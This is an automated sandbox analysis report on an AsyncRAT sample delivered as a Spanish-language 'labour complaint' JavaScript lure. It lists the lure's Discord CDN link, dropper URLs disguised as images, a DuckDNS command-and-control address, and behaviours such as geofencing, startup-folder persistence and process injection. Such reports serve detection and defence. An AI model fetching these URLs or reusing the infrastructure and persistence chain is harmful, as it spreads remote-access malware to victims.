asyncrat | hxxps://cdn[.]discordapp[.]com/attachments/1318901750698217475/1318901950690889778/NOTIFICACION_DENUNCIA_LABORAL_ADMINISTRATIVO_POR_INCUMPLIMIENTO[.]js?ex=676402a9&is=6762b129&hm=c7a9369ee3e4a423229d1e006cd638ab4504a362d59775a9ef510acf67e80f83&

Analysis

max time kernel
244s
max time network
247s
platform
windows10-2004_x64
resource
win10v2004-20241007-es
resource tags

arch:x64arch:x86image:win10v2004-20241007-eslocale:es-esos:windows10-2004-x64systemwindows
submitted
18-12-2024 14:47

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

https://cdn.discordapp.com/attachments/1318901750698217475/1318901950690889778/NOTIFICACION_DENUNCIA_LABORAL_ADMINISTRATIVO_POR_INCUMPLIMIENTO.js?ex=676402a9&is=6762b129&hm=c7a9369ee3e4a423229d1e006cd638ab4504a362d59775a9ef510acf67e80f83&

Score

10^/10

asyncrat discovery execution rat

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg%20

exe.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg%20

Extracted

Family

asyncrat

Version

| CRACKED BY https://t.me/xworm_v2

holadic16.duckdns.org:9003

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Blocklisted process makes network request 10 IoCs

flow	pid	Process
32	1408	WScript.exe
36	1408	WScript.exe
41	1848	powershell.exe
81	1848	powershell.exe
108	2568	powershell.exe
118	2568	powershell.exe
126	5528	powershell.exe
131	5996	powershell.exe
132	5528	powershell.exe
133	5996	powershell.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 8 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3.bat	MSBuild.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4.bat	MSBuild.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\5.bat	MSBuild.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\borrar T.bat	MSBuild.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\reinicio.bat	MSBuild.exe
File opened for modification	\??\c:\users\admin\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini	MSBuild.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.bat	MSBuild.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2.bat	MSBuild.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1848	powershell.exe
2568	powershell.exe
5528	powershell.exe
5996	powershell.exe

Drops desktop.ini file(s) 2 IoCs

description	ioc	Process
File opened for modification	\??\c:\users\admin\appdata\roaming\microsoft\windows\start menu\desktop.ini	MSBuild.exe
File opened for modification	\??\c:\users\admin\appdata\roaming\microsoft\windows\start menu\programs\desktop.ini	MSBuild.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 1848 set thread context of 5248	1848	powershell.exe	135
PID 2568 set thread context of 4964	2568	powershell.exe	147
PID 5528 set thread context of 3668	5528	powershell.exe	157
PID 5996 set thread context of 3600	5996	powershell.exe	160

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	shutdown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "64"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe

Modifies registry class 58 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\NodeSlot = "2"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupView = "4294967295"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:PID = "14"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 0100000000000000ffffffff	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Mode = "4"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\LogicalViewMode = "3"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\IconSize = "16"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = ffffffff	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1092616257"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 = 3a001f44471a0359723fa74489c55595fe6b30ee260001002600efbe100000006464ae769918db0120c0ec63ac18db01b6a3edfa5b51db0114000000	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\GroupView = "0"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1 = 14002e8005398e082303024b98265d99428e115f0000	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\MRUListEx = ffffffff	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a000000a000000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\FFlags = "1092616257"	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Downloads"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\LogicalViewMode = "1"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\NodeSlot = "3"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\Mode = "1"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\GroupByKey:PID = "0"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\IconSize = "48"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\KnownFolderDerivedFolderType = "{885A186E-A440-4ADA-812B-DB871B942259}"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\FFlags = "1"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0000000001000000ffffffff	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0e000000ffffffff	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByDirection = "4294967295"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\GroupByDirection = "1"	msedge.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Sin confirmar 382039.crdownload:SmartScreen	msedge.exe

Suspicious behavior: EnumeratesProcesses 34 IoCs

pid	Process
3808	msedge.exe
3808	msedge.exe
2196	msedge.exe
2196	msedge.exe
2088	identity_helper.exe
2088	identity_helper.exe
3736	msedge.exe
3736	msedge.exe
1848	powershell.exe
1848	powershell.exe
1848	powershell.exe
1848	powershell.exe
1848	powershell.exe
2568	powershell.exe
2568	powershell.exe
2568	powershell.exe
5604	msedge.exe
5604	msedge.exe
2568	powershell.exe
2568	powershell.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5528	powershell.exe
5528	powershell.exe
5528	powershell.exe
5996	powershell.exe
5996	powershell.exe
5996	powershell.exe
5996	powershell.exe
5996	powershell.exe
5996	powershell.exe
5996	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 14 IoCs

pid	Process
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	1848	powershell.exe
Token: SeDebugPrivilege	2568	powershell.exe
Token: SeDebugPrivilege	5248	MSBuild.exe
Token: SeDebugPrivilege	5528	powershell.exe
Token: SeDebugPrivilege	5996	powershell.exe
Token: SeShutdownPrivilege	3888	shutdown.exe
Token: SeRemoteShutdownPrivilege	3888	shutdown.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
5604	msedge.exe
1632	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2196 wrote to memory of 820	2196	msedge.exe	83
PID 2196 wrote to memory of 820	2196	msedge.exe	83
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 1292	2196	msedge.exe	84
PID 2196 wrote to memory of 3808	2196	msedge.exe	85
PID 2196 wrote to memory of 3808	2196	msedge.exe	85
PID 2196 wrote to memory of 1392	2196	msedge.exe	86
PID 2196 wrote to memory of 1392	2196	msedge.exe	86
PID 2196 wrote to memory of 1392	2196	msedge.exe	86
PID 2196 wrote to memory of 1392	2196	msedge.exe	86
PID 2196 wrote to memory of 1392	2196	msedge.exe	86
PID 2196 wrote to memory of 1392	2196	msedge.exe	86
PID 2196 wrote to memory of 1392	2196	msedge.exe	86
PID 2196 wrote to memory of 1392	2196	msedge.exe	86
PID 2196 wrote to memory of 1392	2196	msedge.exe	86
PID 2196 wrote to memory of 1392	2196	msedge.exe	86
PID 2196 wrote to memory of 1392	2196	msedge.exe	86
PID 2196 wrote to memory of 1392	2196	msedge.exe	86
PID 2196 wrote to memory of 1392	2196	msedge.exe	86
PID 2196 wrote to memory of 1392	2196	msedge.exe	86
PID 2196 wrote to memory of 1392	2196	msedge.exe	86
PID 2196 wrote to memory of 1392	2196	msedge.exe	86
PID 2196 wrote to memory of 1392	2196	msedge.exe	86
PID 2196 wrote to memory of 1392	2196	msedge.exe	86
PID 2196 wrote to memory of 1392	2196	msedge.exe	86
PID 2196 wrote to memory of 1392	2196	msedge.exe	86

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://cdn.discordapp.com/attachments/1318901750698217475/1318901950690889778/NOTIFICACION_DENUNCIA_LABORAL_ADMINISTRATIVO_POR_INCUMPLIMIENTO.js?ex=676402a9&is=6762b129&hm=c7a9369ee3e4a423229d1e006cd638ab4504a362d59775a9ef510acf67e80f83&
1⤵
- Enumerates system info in registry
- Modifies registry class
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2196
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffb382346f8,0x7ffb38234708,0x7ffb38234718
  2⤵
  PID:820
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
